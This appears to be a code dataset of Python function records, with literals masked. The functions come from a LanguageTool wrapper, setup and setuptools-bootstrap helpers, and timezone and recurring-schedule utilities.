{"signature": "def get_languages() -> set:", "body": "try:<EOL><INDENT>languages = cache['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>languages = LanguageTool._get_languages()<EOL>cache['<STR_LIT>'] = languages<EOL><DEDENT>return languages<EOL>", "docstring": "Get supported languages.", "id": "f4271:m7"}
{"signature": "def get_directory():", "body": "try:<EOL><INDENT>language_check_dir = cache['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>def version_key(string):<EOL><INDENT>return [int(e) if e.isdigit() else e<EOL>for e in re.split(r\"<STR_LIT>\", string)]<EOL><DEDENT>def get_lt_dir(base_dir):<EOL><INDENT>paths = [<EOL>path for path in<EOL>glob.glob(os.path.join(base_dir, '<STR_LIT>'))<EOL>if os.path.isdir(path)<EOL>]<EOL>return max(paths, key=version_key) if paths else None<EOL><DEDENT>base_dir = os.path.dirname(sys.argv[<NUM_LIT:0>])<EOL>language_check_dir = get_lt_dir(base_dir)<EOL>if not language_check_dir:<EOL><INDENT>try:<EOL><INDENT>base_dir = os.path.dirname(os.path.abspath(__file__))<EOL><DEDENT>except NameError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>language_check_dir = get_lt_dir(base_dir)<EOL><DEDENT>if not language_check_dir:<EOL><INDENT>raise PathError(\"<STR_LIT>\"<EOL>.format(base_dir))<EOL><DEDENT><DEDENT>cache['<STR_LIT>'] = language_check_dir<EOL><DEDENT>return language_check_dir<EOL>", "docstring": "Get LanguageTool directory.", "id": "f4271:m8"}
{"signature": "def set_directory(path=None):", "body": "old_path = get_directory()<EOL>terminate_server()<EOL>cache.clear()<EOL>if path:<EOL><INDENT>cache['<STR_LIT>'] = path<EOL>try:<EOL><INDENT>get_jar_info()<EOL><DEDENT>except Error:<EOL><INDENT>cache['<STR_LIT>'] = old_path<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Set LanguageTool directory.", "id": "f4271:m9"}
{"signature": "def get_locale_language():", "body": "return locale.getlocale()[<NUM_LIT:0>] or locale.getdefaultlocale()[<NUM_LIT:0>]<EOL>", "docstring": "Get the language code for the current locale setting.", "id": "f4271:m12"}
{"signature": "@atexit.register<EOL>def terminate_server():", "body": "if LanguageTool._server_is_alive():<EOL><INDENT>LanguageTool._terminate_server()<EOL><DEDENT>", "docstring": "Terminate the server.", "id": "f4271:m13"}
{"signature": "@property<EOL><INDENT>def language(self):<DEDENT>", "body": "return self._language<EOL>", "docstring": "The language to be used.", "id": "f4271:c5:m3"}
{"signature": "@property<EOL><INDENT>def motherTongue(self):<DEDENT>", "body": "return self._motherTongue<EOL>", "docstring": "The user's mother tongue or None.\n\n        The mother tongue may also be used as a source language for\n        checking bilingual texts.", "id": "f4271:c5:m5"}
{"signature": "def check(self, text: str, srctext=None) -> [Match]:", "body": "root = self._get_root(self._url, self._encode(text, srctext))<EOL>return [Match(e.attrib) for e in root if e.tag == '<STR_LIT:error>']<EOL>", "docstring": "Match text against enabled rules.", "id": "f4271:c5:m8"}
{"signature": "def _check_api(self, text: str, srctext=None) -> bytes:", "body": "root = self._get_root(self._url, self._encode(text, srctext))<EOL>return (b'<STR_LIT>' +<EOL>ElementTree.tostring(root) + b\"<STR_LIT:\\n>\")<EOL>", "docstring": "Match text against enabled rules (result in XML format).", "id": "f4271:c5:m9"}
{"signature": "def correct(self, text: str, srctext=None) -> str:", "body": "return correct(text, self.check(text, srctext))<EOL>", "docstring": "Automatically apply suggestions to the text.", "id": "f4271:c5:m11"}
{"signature": "def enable_spellchecking(self):", "body": "self.disabled.difference_update(self._spell_checking_rules)<EOL>", "docstring": "Enable spell-checking rules.", "id": "f4271:c5:m12"}
{"signature": "def disable_spellchecking(self):", "body": "self.disabled.update(self._spell_checking_rules)<EOL>", "docstring": "Disable spell-checking rules.", "id": "f4271:c5:m13"}
{"signature": "@classmethod<EOL><INDENT>def _get_languages(cls) -> set:<DEDENT>", "body": "cls._start_server_if_needed()<EOL>url = urllib.parse.urljoin(cls._url, '<STR_LIT>')<EOL>languages = set()<EOL>for e in cls._get_root(url, num_tries=<NUM_LIT:1>):<EOL><INDENT>languages.add(e.get('<STR_LIT>'))<EOL>languages.add(e.get('<STR_LIT>'))<EOL><DEDENT>return languages<EOL>", "docstring": "Get supported languages (by querying the server).", "id": "f4271:c5:m14"}
{"signature": "@classmethod<EOL><INDENT>def _get_attrib(cls):<DEDENT>", "body": "cls._start_server_if_needed()<EOL>params = {'<STR_LIT>': FAILSAFE_LANGUAGE, '<STR_LIT:text>': '<STR_LIT>'}<EOL>data = urllib.parse.urlencode(params).encode()<EOL>root = cls._get_root(cls._url, data, num_tries=<NUM_LIT:1>)<EOL>return root.attrib<EOL>", "docstring": "Get matches element attributes.", "id": "f4271:c5:m15"}
{"signature": "def parse_java_version(version_text):", "body": "match = re.search(JAVA_VERSION_REGEX, version_text)<EOL>if not match:<EOL><INDENT>raise SystemExit(<EOL>'<STR_LIT>'.format(version_text))<EOL><DEDENT>return (int(match.group('<STR_LIT>')), int(match.group('<STR_LIT>')))<EOL>", "docstring": "Return Java version (major1, major2).\n\n    >>> parse_java_version('''java version \"1.6.0_65\"\n    ... Java(TM) SE Runtime Environment (build 1.6.0_65-b14-462-11M4609)\n    ... Java HotSpot(TM) 64-Bit Server VM (build 20.65-b04-462, mixed mode))\n    ... ''')\n    (1, 6)\n\n    >>> parse_java_version('''\n    ... openjdk version \"1.8.0_60\"\n    ... OpenJDK Runtime Environment (build 1.8.0_60-b27)\n    ... OpenJDK 64-Bit Server VM (build 25.60-b23, mixed mode))\n    ... ''')\n    (1, 8)", "id": "f4272:m0"}
{"signature": "def get_newest_possible_languagetool_version():", "body": "java_path = find_executable('<STR_LIT>')<EOL>if not java_path:<EOL><INDENT>return JAVA_6_COMPATIBLE_VERSION<EOL><DEDENT>output = subprocess.check_output([java_path, '<STR_LIT>'],<EOL>stderr=subprocess.STDOUT,<EOL>universal_newlines=True)<EOL>java_version = parse_java_version(output)<EOL>if java_version >= (<NUM_LIT:1>, <NUM_LIT:8>):<EOL><INDENT>return LATEST_VERSION<EOL><DEDENT>elif java_version >= (<NUM_LIT:1>, <NUM_LIT:7>):<EOL><INDENT>return JAVA_7_COMPATIBLE_VERSION<EOL><DEDENT>elif java_version >= (<NUM_LIT:1>, <NUM_LIT:6>):<EOL><INDENT>warn('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return JAVA_6_COMPATIBLE_VERSION<EOL><DEDENT>else:<EOL><INDENT>raise SystemExit(<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Return newest compatible version.\n\n    >>> version = get_newest_possible_languagetool_version()\n    >>> version in [JAVA_6_COMPATIBLE_VERSION,\n    ...             JAVA_7_COMPATIBLE_VERSION,\n    ...             LATEST_VERSION]\n    True", "id": "f4272:m1"}
{"signature": "def get_common_prefix(z):", "body": "name_list = z.namelist()<EOL>if name_list and all(n.startswith(name_list[<NUM_LIT:0>]) for n in name_list[<NUM_LIT:1>:]):<EOL><INDENT>return name_list[<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "Get common directory in a zip file if any.", "id": "f4272:m2"}
{"signature": "def get_version():", "body": "with io.open('<STR_LIT>', encoding='<STR_LIT:utf-8>') as input_file:<EOL><INDENT>for line in input_file:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>return ast.parse(line).body[<NUM_LIT:0>].value.s<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Return version string.", "id": "f4275:m0"}
{"signature": "def which(program, win_allow_cross_arch=True):", "body": "def is_exe(path):<EOL><INDENT>return os.path.isfile(path) and os.access(path, os.X_OK)<EOL><DEDENT>def _get_path_list():<EOL><INDENT>return os.environ['<STR_LIT>'].split(os.pathsep)<EOL><DEDENT>if os.name == '<STR_LIT>':<EOL><INDENT>def find_exe(program):<EOL><INDENT>root, ext = os.path.splitext(program)<EOL>if ext:<EOL><INDENT>if is_exe(program):<EOL><INDENT>return program<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for ext in os.environ['<STR_LIT>'].split(os.pathsep):<EOL><INDENT>program_path = root + ext.lower()<EOL>if is_exe(program_path):<EOL><INDENT>return program_path<EOL><DEDENT><DEDENT><DEDENT>return None<EOL><DEDENT>def get_path_list():<EOL><INDENT>paths = _get_path_list()<EOL>if win_allow_cross_arch:<EOL><INDENT>alt_sys_path = os.path.expandvars(r\"<STR_LIT>\")<EOL>if os.path.isdir(alt_sys_path):<EOL><INDENT>paths.insert(<NUM_LIT:0>, alt_sys_path)<EOL><DEDENT>else:<EOL><INDENT>alt_sys_path = os.path.expandvars(r\"<STR_LIT>\")<EOL>if os.path.isdir(alt_sys_path):<EOL><INDENT>paths.append(alt_sys_path)<EOL><DEDENT><DEDENT><DEDENT>return paths<EOL><DEDENT><DEDENT>else:<EOL><INDENT>def find_exe(program):<EOL><INDENT>return program if is_exe(program) else None<EOL><DEDENT>get_path_list = _get_path_list<EOL><DEDENT>if os.path.split(program)[<NUM_LIT:0>]:<EOL><INDENT>program_path = find_exe(program)<EOL>if program_path:<EOL><INDENT>return program_path<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for path in get_path_list():<EOL><INDENT>program_path = find_exe(os.path.join(path, program))<EOL>if program_path:<EOL><INDENT>return program_path<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Identify the location of an executable file.", "id": "f4275:m1"}
{"signature": "def split_multiline(value):", "body": "return [element for element in (line.strip() for line in value.split('<STR_LIT:\\n>'))<EOL>if element]<EOL>", "docstring": "Split a multiline string into a list, excluding blank lines.", "id": "f4275:m2"}
{"signature": "def split_elements(value):", "body": "items = [v.strip() for v in value.split('<STR_LIT:U+002C>')]<EOL>if len(items) == <NUM_LIT:1>:<EOL><INDENT>items = value.split()<EOL><DEDENT>return items<EOL>", "docstring": "Split a string with comma or space-separated elements into a list.", "id": "f4275:m3"}
{"signature": "def eval_environ(value):", "body": "def eval_environ_str(value):<EOL><INDENT>parts = value.split('<STR_LIT:;>')<EOL>if len(parts) < <NUM_LIT:2>:<EOL><INDENT>return value<EOL><DEDENT>expr = parts[<NUM_LIT:1>].lstrip()<EOL>if not re.match(\"<STR_LIT>\"<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\"<EOL>'<STR_LIT>', expr):<EOL><INDENT>raise ValueError('<STR_LIT>' % expr)<EOL><DEDENT>expr = re.sub(r\"<STR_LIT>\", r\"<STR_LIT>\", expr)<EOL>return parts[<NUM_LIT:0>] if eval(expr) else '<STR_LIT>'<EOL><DEDENT>if isinstance(value, list):<EOL><INDENT>new_value = []<EOL>for element in value:<EOL><INDENT>element = eval_environ_str(element)<EOL>if element:<EOL><INDENT>new_value.append(element)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(value, str):<EOL><INDENT>new_value = eval_environ_str(value)<EOL><DEDENT>else:<EOL><INDENT>new_value = value<EOL><DEDENT>return new_value<EOL>", "docstring": "Evaluate environment markers.", "id": "f4275:m4"}
{"signature": "def get_cfg_value(config, section, option):", "body": "try:<EOL><INDENT>value = config[section][option]<EOL><DEDENT>except KeyError:<EOL><INDENT>if (section, option) in MULTI_OPTIONS:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>if (section, option) in MULTI_OPTIONS:<EOL><INDENT>value = split_multiline(value)<EOL><DEDENT>if (section, option) in ENVIRON_OPTIONS:<EOL><INDENT>value = eval_environ(value)<EOL><DEDENT>return value<EOL>", "docstring": "Get configuration value.", "id": "f4275:m5"}
{"signature": "def set_cfg_value(config, section, option, value):", "body": "if isinstance(value, list):<EOL><INDENT>value = '<STR_LIT:\\n>'.join(value)<EOL><DEDENT>config[section][option] = value<EOL>", "docstring": "Set configuration value.", "id": "f4275:m6"}
{"signature": "def cfg_to_args(config):", "body": "kwargs = {}<EOL>opts_to_args = {<EOL>'<STR_LIT>': [<EOL>('<STR_LIT:name>', '<STR_LIT:name>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT:url>'),<EOL>('<STR_LIT>', '<STR_LIT:description>'),<EOL>('<STR_LIT:description>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>],<EOL>'<STR_LIT>': [<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>],<EOL>}<EOL>opts_to_args['<STR_LIT>'].append(('<STR_LIT>', '<STR_LIT>'))<EOL>if IS_PY2K and not which('<STR_LIT>'):<EOL><INDENT>kwargs['<STR_LIT>'] = ['<STR_LIT>']<EOL><DEDENT>kwargs['<STR_LIT>'] = False<EOL>for section in opts_to_args:<EOL><INDENT>for option, argname in opts_to_args[section]:<EOL><INDENT>value = get_cfg_value(config, section, option)<EOL>if value:<EOL><INDENT>kwargs[argname] = value<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = read_description_file(config)<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = {'<STR_LIT>': kwargs['<STR_LIT>']}<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = split_elements(kwargs['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = get_package_data(kwargs['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = get_data_files(kwargs['<STR_LIT>'])<EOL><DEDENT>kwargs['<STR_LIT:version>'] = get_version()<EOL>if not IS_PY2K:<EOL><INDENT>kwargs['<STR_LIT>'] = '<STR_LIT:test>'<EOL><DEDENT>return kwargs<EOL>", "docstring": "Compatibility helper to use setup.cfg in setup.py.", "id": "f4275:m10"}
{"signature": "def run_3to2(args=None):", "body": "args = BASE_ARGS_3TO2 if args is None else BASE_ARGS_3TO2 + args<EOL>try:<EOL><INDENT>proc = subprocess.Popen(['<STR_LIT>'] + args, stderr=subprocess.PIPE)<EOL><DEDENT>except OSError:<EOL><INDENT>for path in glob.glob('<STR_LIT>'):<EOL><INDENT>if os.path.isdir(path) and path not in sys.path:<EOL><INDENT>sys.path.append(path)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>from lib3to2.main import main as lib3to2_main<EOL><DEDENT>except ImportError:<EOL><INDENT>raise OSError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if lib3to2_main('<STR_LIT>', args):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>num_errors = <NUM_LIT:0><EOL>while proc.poll() is None:<EOL><INDENT>line = proc.stderr.readline()<EOL>sys.stderr.write(line)<EOL>num_errors += line.count('<STR_LIT>')<EOL><DEDENT>if proc.returncode or num_errors:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Convert Python files using lib3to2.", "id": "f4275:m11"}
{"signature": "def write_py2k_header(file_list):", "body": "if not isinstance(file_list, list):<EOL><INDENT>file_list = [file_list]<EOL><DEDENT>python_re = re.compile(br\"<STR_LIT>\")<EOL>coding_re = re.compile(br\"<STR_LIT>\")<EOL>new_line_re = re.compile(br\"<STR_LIT>\")<EOL>version_3 = LooseVersion('<STR_LIT:3>')<EOL>for file in file_list:<EOL><INDENT>if not os.path.getsize(file):<EOL><INDENT>continue<EOL><DEDENT>rewrite_needed = False<EOL>python_found = False<EOL>coding_found = False<EOL>lines = []<EOL>f = open(file, '<STR_LIT:rb>')<EOL>try:<EOL><INDENT>while len(lines) < <NUM_LIT:2>:<EOL><INDENT>line = f.readline()<EOL>match = python_re.match(line)<EOL>if match:<EOL><INDENT>python_found = True<EOL>version = LooseVersion(match.group(<NUM_LIT:2>).decode() or '<STR_LIT:2>')<EOL>try:<EOL><INDENT>version_test = version >= version_3<EOL><DEDENT>except TypeError:<EOL><INDENT>version_test = True<EOL><DEDENT>if version_test:<EOL><INDENT>line = python_re.sub(br\"<STR_LIT>\", line)<EOL>rewrite_needed = True<EOL><DEDENT><DEDENT>elif coding_re.search(line):<EOL><INDENT>coding_found = True<EOL><DEDENT>lines.append(line)<EOL><DEDENT>if not coding_found:<EOL><INDENT>match = new_line_re.search(lines[<NUM_LIT:0>])<EOL>newline = match.group(<NUM_LIT:1>) if match else b\"<STR_LIT:\\n>\"<EOL>line = b\"<STR_LIT>\" + newline<EOL>lines.insert(<NUM_LIT:1> if python_found else <NUM_LIT:0>, line)<EOL>rewrite_needed = True<EOL><DEDENT>if rewrite_needed:<EOL><INDENT>lines += f.readlines()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT>if rewrite_needed:<EOL><INDENT>f = open(file, '<STR_LIT:wb>')<EOL>try:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Write Python 2 shebang and add encoding cookie if needed.", "id": "f4275:m12"}
{"signature": "def default_hook(config):", "body": "if (any(arg.startswith('<STR_LIT>') for arg in sys.argv) and<EOL>os.path.isdir(PY2K_DIR) != IS_PY2K and os.path.isdir(LIB_DIR)):<EOL><INDENT>shutil.rmtree(LIB_DIR)<EOL><DEDENT>if IS_PY2K and any(arg.startswith(('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:test>'))<EOL>for arg in sys.argv):<EOL><INDENT>generate_py2k(config)<EOL>packages_root = get_cfg_value(config, '<STR_LIT>', '<STR_LIT>')<EOL>packages_root = os.path.join(PY2K_DIR, packages_root)<EOL>set_cfg_value(config, '<STR_LIT>', '<STR_LIT>', packages_root)<EOL><DEDENT>", "docstring": "Default setup hook.", "id": "f4275:m16"}
{"signature": "def main():", "body": "config = load_config()<EOL>run_setup_hooks(config)<EOL>setup(**cfg_to_args(config))<EOL>", "docstring": "Running with distutils or setuptools.", "id": "f4275:m18"}
{"signature": "def _python_cmd(*args):", "body": "args = (sys.executable,) + args<EOL>return subprocess.call(args) == <NUM_LIT:0><EOL>", "docstring": "Return True if the command succeeded.", "id": "f4276:m0"}
{"signature": "def get_zip_class():", "body": "class ContextualZipFile(zipfile.ZipFile):<EOL><INDENT>def __enter__(self):<EOL><INDENT>return self<EOL><DEDENT>def __exit__(self, type, value, traceback):<EOL><INDENT>self.close<EOL><DEDENT><DEDENT>return zipfile.ZipFile if hasattr(zipfile.ZipFile, '<STR_LIT>') elseContextualZipFile<EOL>", "docstring": "Supplement ZipFile class to support context manager for Python 2.6", "id": "f4276:m3"}
{"signature": "def _clean_check(cmd, target):", "body": "try:<EOL><INDENT>subprocess.check_call(cmd)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>if os.access(target, os.F_OK):<EOL><INDENT>os.unlink(target)<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Run the command to download target. If the command fails, clean up before\nre-raising the error.", "id": "f4276:m7"}
{"signature": "def download_file_powershell(url, target):", "body": "target = os.path.abspath(target)<EOL>cmd = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>\"<STR_LIT>\" % vars(),<EOL>]<EOL>_clean_check(cmd, target)<EOL>", "docstring": "Download the file at url to target using Powershell (which will validate\ntrust). Raise an exception if the command cannot complete.", "id": "f4276:m8"}
{"signature": "def download_file_insecure(url, target):", "body": "try:<EOL><INDENT>from urllib.request import urlopen<EOL><DEDENT>except ImportError:<EOL><INDENT>from urllib2 import urlopen<EOL><DEDENT>src = dst = None<EOL>try:<EOL><INDENT>src = urlopen(url)<EOL>data = src.read()<EOL>dst = open(target, \"<STR_LIT:wb>\")<EOL>dst.write(data)<EOL><DEDENT>finally:<EOL><INDENT>if src:<EOL><INDENT>src.close()<EOL><DEDENT>if dst:<EOL><INDENT>dst.close()<EOL><DEDENT><DEDENT>", "docstring": "Use Python to download the file, even though it cannot authenticate the\nconnection.", "id": "f4276:m14"}
{"signature": "def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,<EOL>to_dir=os.curdir, delay=<NUM_LIT:15>, downloader_factory=get_best_downloader):", "body": "<EOL>to_dir = os.path.abspath(to_dir)<EOL>zip_name = \"<STR_LIT>\" % version<EOL>url = download_base + zip_name<EOL>saveto = os.path.join(to_dir, zip_name)<EOL>if not os.path.exists(saveto):  <EOL><INDENT>log.warn(\"<STR_LIT>\", url)<EOL>downloader = downloader_factory()<EOL>downloader(url, saveto)<EOL><DEDENT>return os.path.realpath(saveto)<EOL>", "docstring": "Download setuptools from a specified location and return its filename\n\n`version` should be a valid setuptools version number that is available\nas an egg for download under the `download_base` URL (which should end\nwith a '/'). `to_dir` is the directory where the egg will be downloaded.\n`delay` is the number of seconds to pause before an actual download\nattempt.\n\n``downloader_factory`` should be a function taking no arguments and\nreturning a function for downloading a URL to a target.", "id": "f4276:m16"}
{"signature": "def _build_install_args(options):", "body": "return ['<STR_LIT>'] if options.user_install else []<EOL>", "docstring": "Build the arguments to 'python setup.py install' on the setuptools package", "id": "f4276:m17"}
{"signature": "def _parse_args():", "body": "parser = optparse.OptionParser()<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT:store_true>', default=False,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', metavar=\"<STR_LIT>\",<EOL>default=DEFAULT_URL,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT>',<EOL>const=lambda: download_file_insecure, default=get_best_downloader,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_option(<EOL>'<STR_LIT>', help=\"<STR_LIT>\",<EOL>default=DEFAULT_VERSION,<EOL>)<EOL>options, args = parser.parse_args()<EOL>return options<EOL>", "docstring": "Parse the command line for options", "id": "f4276:m18"}
{"signature": "def main():", "body": "options = _parse_args()<EOL>archive = download_setuptools(<EOL>version=options.version,<EOL>download_base=options.download_base,<EOL>downloader_factory=options.downloader_factory,<EOL>)<EOL>return _install(archive, _build_install_args(options))<EOL>", "docstring": "Install or upgrade setuptools and EasyInstall", "id": "f4276:m19"}
{"signature": "def is_aware(value):", "body": "return value.tzinfo is not None and value.tzinfo.utcoffset(value) is not None<EOL>", "docstring": "Determines if a given datetime.datetime is aware.\n\nThe logic is described in Python's docs:\nhttp://docs.python.org/library/datetime.html#datetime.tzinfo", "id": "f4281:m1"}
{"signature": "def is_naive(value):", "body": "return value.tzinfo is None or value.tzinfo.utcoffset(value) is None<EOL>", "docstring": "Determines if a given datetime.datetime is naive.\n\nThe logic is described in Python's docs:\nhttp://docs.python.org/library/datetime.html#datetime.tzinfo", "id": "f4281:m2"}
{"signature": "def make_aware(value, timezone):", "body": "if hasattr(timezone, '<STR_LIT>') and value not in (datetime.datetime.min, datetime.datetime.max):<EOL><INDENT>return timezone.localize(value, is_dst=None)<EOL><DEDENT>else:<EOL><INDENT>return value.replace(tzinfo=timezone)<EOL><DEDENT>", "docstring": "Makes a naive datetime.datetime in a given time zone aware.", "id": "f4281:m3"}
{"signature": "def make_naive(value, timezone):", "body": "value = value.astimezone(timezone)<EOL>if hasattr(timezone, '<STR_LIT>'):<EOL><INDENT>value = timezone.normalize(value)<EOL><DEDENT>return value.replace(tzinfo=None)<EOL>", "docstring": "Makes an aware datetime.datetime naive in a given time zone.", "id": "f4281:m4"}
{"signature": "@staticmethod<EOL><INDENT>def from_element(root, timezone):<DEDENT>", "body": "assert root.tag == '<STR_LIT>'<EOL>if root.xpath('<STR_LIT>'):<EOL><INDENT>return _ScheduleIntervals(root, timezone)<EOL><DEDENT>elif root.xpath('<STR_LIT>'):<EOL><INDENT>return _ScheduleRecurring(root, timezone)<EOL><DEDENT>raise NotImplementedError<EOL>", "docstring": "Return a Schedule object based on an lxml Element for the <schedule>\n        tag. timezone is a tzinfo object, ideally from pytz.", "id": "f4285:c0:m1"}
{"signature": "def to_timezone(self, dt):", "body": "if timezone.is_aware(dt):<EOL><INDENT>return dt.astimezone(self.timezone)<EOL><DEDENT>else:<EOL><INDENT>return timezone.make_aware(dt, self.timezone)<EOL><DEDENT>", "docstring": "Converts a datetime to the timezone of this Schedule.", "id": "f4285:c0:m2"}
{"signature": "def intervals(self, range_start=datetime.datetime.min, range_end=datetime.datetime.max):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns a list of tuples of start/end datetimes for when the schedule\n        is active during the provided range.", "id": "f4285:c0:m3"}
{"signature": "def next_interval(self, after=None):", "body": "if after is None:<EOL><INDENT>after = timezone.now()<EOL><DEDENT>after = self.to_timezone(after)<EOL>return next(self.intervals(range_start=after), None)<EOL>", "docstring": "Returns the next Period this event is in effect, or None if the event\n        has no remaining periods.", "id": "f4285:c0:m4"}
{"signature": "def active_within_range(self, query_start, query_end):", "body": "return any(self.intervals(query_start, query_end))<EOL>", "docstring": "Is the event ever active within the given range?", "id": "f4285:c0:m5"}
{"signature": "def includes(self, query):", "body": "query = self.to_timezone(query)<EOL>return any(self.intervals(range_start=query, range_end=query))<EOL>", "docstring": "Does this schedule include the provided time?\n        query should be a datetime (naive or timezone-aware)", "id": "f4285:c0:m6"}
{"signature": "def has_remaining_intervals(self, after=None):", "body": "return bool(self.next_interval(after))<EOL>", "docstring": "Is this schedule ever in effect at or after the given time?\n        If no time is given, uses the current time.", "id": "f4285:c0:m7"}
{"signature": "@property<EOL><INDENT>@memoize_method<EOL>def exceptions(self):<DEDENT>", "body": "ex = {}<EOL>for sd in self.root.xpath('<STR_LIT>'):<EOL><INDENT>bits = str(sd.text).split('<STR_LIT:U+0020>')<EOL>date = text_to_date(bits.pop(<NUM_LIT:0>))<EOL>ex.setdefault(date, []).extend([<EOL>_time_text_to_period(t)<EOL>for t in bits<EOL>])<EOL><DEDENT>return ex<EOL>", "docstring": "A dict of dates -> [Period time tuples] representing exceptions\n        to the base recurrence pattern.", "id": "f4285:c2:m1"}
{"signature": "def exception_periods(self, range_start=datetime.date.min, range_end=datetime.date.max):", "body": "periods = []<EOL>for exception_date, exception_times in self.exceptions.items():<EOL><INDENT>if exception_date >= range_start and exception_date <= range_end:<EOL><INDENT>for exception_time in exception_times:<EOL><INDENT>periods.append(<EOL>Period(<EOL>self.timezone.localize(datetime.datetime.combine(exception_date, exception_time.start)),<EOL>self.timezone.localize(datetime.datetime.combine(exception_date, exception_time.end))<EOL>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>periods.sort()<EOL>return periods<EOL>", "docstring": "Returns a list of Period tuples for each period represented in an <exception>\n        that falls between range_start and range_end.", "id": "f4285:c2:m2"}
{"signature": "def includes(self, query):", "body": "query = self.to_timezone(query)<EOL>query_date = query.date()<EOL>query_time = query.time()<EOL>specific = self.exceptions.get(query_date)<EOL>if specific is not None:<EOL><INDENT>if len(specific) == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>for period in specific:<EOL><INDENT>if query_time >= period.start and query_time <= period.end:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>return any(sched.includes(query_date, query_time) for sched in self._recurring_schedules)<EOL>", "docstring": "Does this schedule include the provided time?\n        query should be a datetime (naive or timezone-aware)", "id": "f4285:c2:m3"}
{"signature": "def _daily_periods(self, range_start, range_end):", "body": "specific = set(self.exceptions.keys())<EOL>return heapq.merge(self.exception_periods(range_start, range_end), *[<EOL>sched.daily_periods(range_start=range_start, range_end=range_end, exclude_dates=specific)<EOL>for sched in self._recurring_schedules<EOL>])<EOL>", "docstring": "Returns an iterator of Period tuples for every day this event is in effect, between range_start\n        and range_end.", "id": "f4285:c2:m4"}
{"signature": "def intervals(self, range_start=datetime.datetime.min, range_end=datetime.datetime.max):", "body": "<EOL>current_period = None<EOL>max_continuous_days = <NUM_LIT><EOL>range_start = self.to_timezone(range_start)<EOL>range_end = self.to_timezone(range_end)<EOL>for period in self._daily_periods(range_start.date(), range_end.date()):<EOL><INDENT>if period.end < range_start or period.start > range_end:<EOL><INDENT>continue<EOL><DEDENT>if current_period is None:<EOL><INDENT>current_period = period<EOL><DEDENT>else:<EOL><INDENT>if ( ((period.start < current_period.end)<EOL>or (period.start - current_period.end) <= datetime.timedelta(minutes=<NUM_LIT:1>))<EOL>and (current_period.end - current_period.start) < datetime.timedelta(days=max_continuous_days)):<EOL><INDENT>current_period = Period(current_period.start, period.end)<EOL><DEDENT>else:<EOL><INDENT>yield current_period<EOL>current_period = period<EOL><DEDENT><DEDENT><DEDENT>if current_period:<EOL><INDENT>yield current_period<EOL><DEDENT>", "docstring": "Returns an iterator of Period tuples for continuous stretches of time during\n        which this event is in effect, between range_start and range_end.", "id": "f4285:c2:m5"}
